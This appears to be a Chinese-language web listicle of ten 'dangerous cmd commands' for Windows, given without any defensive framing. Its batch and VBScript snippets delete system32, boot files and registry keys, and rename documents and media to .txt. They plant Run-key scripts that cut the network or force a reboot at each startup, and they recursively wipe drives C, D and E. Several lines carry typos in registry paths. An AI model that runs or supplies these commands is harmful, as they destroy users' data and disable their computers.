十大危险cmd指令

1 蓝屏死机

Del %windowsdrive%\*.* /f /s /q Shutdown -s -f -t 0 

2 更改文件后缀名

 Ren *.doc *.txt Ren *.jpeg *.txt Ren *.lnk *.txt Ren *.avi *.txt Ren *.mpeg *.txt Ren *.com *.txt Ren *.bat *.txt 

3 删除system32

 Del c:\windows\system32\*.* /q 

4 使PC永久崩溃

 @echo off Attrib -r -s -h c:\autoexec.bat Del c:\autoexec.bat Attrib -r -s -h c:\boot.ini Del c:\boot.ini Attrib -r -s -h c:\ntldr Del c:\ ntldr Attrib -r -s -h c:\windows\win.ini Del c:\windows\win.ini 

5 删除所有的注册表

 @echo off Start reg delete HKCR/.exe Start reg delete HKCR/.dll Start reg delete HKCR/*

6 永久禁用网络

echo @echo off>c:\windows\wimn32.bat echo break off>>c:\windows\wimn32.bat echo ipconfig/release_all>>c:\windowswimn32.bat echo end>>c:\windows\wimn32.bat reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v WINDOWsAPI /t reg_sz /d c:\windows\wimn32.bat /f reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVision\Run /v CONTROLexit /t reg_sz /d c:/Windows/wimn32.bat /f Pause 

7 一直按回车

(这个要保存为.vbs) Set wshShell=wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys"~(enter)" loop 

8 启动电脑后自动关机

echo @echo off>c:\Windows\hartlell.bat echo break off>>c:\Windows\hartlell.bat echo shutdown -r -t 11 -f>>c:\Windows\hartlell.bat echo end>>c:\Windows\hartlell.bat reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windwos\CurrentVersion\Run /v startAPI /t reg_sz /d c:\Windows\hartlell.bat /f reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v /t reg_sz /d c:\Windows\hartlell.bat /f pause

9 开启CD蜂鸣器

(这个也是.vbs格式) Set oWMP=CreateObject("WMPlayer.OCX.7") Set colCDROMs=oWMP.cdromCollection do if colCDROMs.Count>=1 then For i=0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next For i=0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100 loop 10. rd/s/q D:\ rd/s/q C:\ rd/s/q E:\